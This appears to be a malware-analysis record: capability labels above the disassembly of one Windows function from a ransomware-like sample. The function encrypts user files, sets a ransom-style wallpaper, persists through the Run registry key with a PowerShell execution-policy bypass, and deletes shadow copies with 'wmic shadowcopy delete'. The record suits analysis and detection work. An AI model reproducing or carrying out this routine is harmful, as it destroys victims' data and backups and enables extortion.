Function at 0x140001420
Capabilities:
Change the wallpaper
Copy file
Create process on windows
Delete volume shadow copies
Get common file path
Persist via run registry key
Query environment variable
Set registry value

Disassembly:
push rbp
lea rbp, [rsp - 0x520]
sub rsp, 0x620
mov rax, qword [0x14000a038]
xor rax, rsp
mov qword [rbp + 0x510], rax
lea rcx, str.START
call fcn.140002130
test eax, eax
jne 0x14000178f
lea rcx, str.encrypting...
mov qword [rsp + 0x630], rbx
call fcn.140002130
mov rcx, qword [str._USERPROFILE_]
lea rdx, [rbp + 0xf8]
mov r8d, 0x100
mov dword [rbp + 0xf0], 0x3f005c
mov dword [rbp + 0xf4], 0x5c003f
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test eax, eax
je 0x1400014ac
lea rcx, [rbp + 0xf0]
call fcn.140001810
mov ebx, eax
mov edx, ebx
lea rcx, str.encrypting_done:__d_files
call fcn.140002130
lea rcx, str.setting_wallpaper...
call fcn.140002130
lea rdx, [rbp - 0x20]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea r8, str.wp.png
mov edx, 0x104
lea rcx, [rbp - 0x20]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcat_s]
lea rcx, [rbp - 0x20]
call fcn.140001d70
mov rbx, qword [rsp + 0x630]
test eax, eax
jne 0x140001509
lea rcx, str.download_failed
jmp 0x14000153f
xor edx, edx
lea r8, [rbp - 0x20]
mov r9d, 3
lea ecx, [rdx + 0x14]
call qword [sym.imp.USER32.dll_SystemParametersInfoA]
test eax, eax
jne 0x140001538
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.failed:_SystemParametersInfoA__s
call fcn.140002130
jmp 0x140001544
lea rcx, str.setting_wallpaper_done
call fcn.140002130
lea rcx, str.persisting...
call fcn.140002130
mov r8d, 0x105
lea rdx, [rbp - 0x20]
lea rcx, str.00MYEXE
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x1400015fa
mov rdx, qword [str.C:ProgramData00aaaa.exe]
lea rcx, [rbp - 0x20]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x1400015a3
mov r8, qword [str.C:ProgramData00aaaa.exe]
lea rdx, [rbp - 0x20]
lea rcx, str.copy_self_failed:__s_____s
call fcn.140002130
jmp 0x1400016ca
mov rcx, qword [str.C:ProgramData00aaaa.exe]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x1400015b1
inc eax
lea r8, str.00aaaa
mov dword [rsp + 0x28], eax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov qword [rsp + 0x20], rcx
mov r9d, 1
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueA]
test eax, eax
je 0x1400016ac
lea rcx, str.set_reg_value_failed
jmp 0x1400016c5
mov r8d, 0x105
lea rdx, [rbp - 0x20]
lea rcx, str.00MYSCR
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x1400016be
mov rdx, qword [str.C:ProgramData00aaaa.ps1]
lea rcx, [rbp - 0x20]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x14000163d
mov r8, qword [str.C:ProgramData00aaaa.ps1]
jmp 0x14000158e
mov r9, qword [str.C:ProgramData00aaaa.ps1]
lea r8, str.C:WindowsSystem32WindowsPowerShell_v1.0powershell.exe__ep_bypass__s
mov edx, 0x208
lea rcx, [rbp + 0x300]
call fcn.140001c50
test eax, eax
jle 0x1400016b5
movsxd rcx, eax
cmp rcx, 0x208
jae 0x1400016b5
inc eax
lea r8, str.00aaaa
mov dword [rsp + 0x28], eax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
lea rax, [rbp + 0x300]
mov r9d, 1
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueA]
test eax, eax
je 0x1400016ac
lea rcx, str.set_reg_value_failed
jmp 0x1400016c5
lea rcx, str.persisting_done
jmp 0x1400016c5
lea rcx, str.sprintf_error
jmp 0x1400016c5
lea rcx, str.persisting_failed__didnt_find_path
call fcn.140002130
lea rcx, str.clear_vss...
call fcn.140002130
xorps xmm0, xmm0
mov dword [rsp + 0x70], 0x68
xor eax, eax
lea rdx, str.wmic.exe_shadowcopy_delete
mov dword [rbp - 0x2c], eax
xor r9d, r9d
mov qword [rsp + 0x60], rax
xor r8d, r8d
lea rax, [rsp + 0x50]
xor ecx, ecx
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xc000200
mov dword [rsp + 0x20], 0
movups xmmword [rsp + 0x74], xmm0
movups xmmword [rbp - 0x7c], xmm0
movups xmmword [rbp - 0x6c], xmm0
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140001761
lea rcx, str.failed:_start_proc
jmp 0x14000177e
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.clear_vss_done
call fcn.140002130
lea rcx, [0x140006ae4]
call fcn.140002130
mov rcx, qword [rbp + 0x510]
xor rcx, rsp
call fcn.140003a40
add rsp, 0x620
pop rbp
ret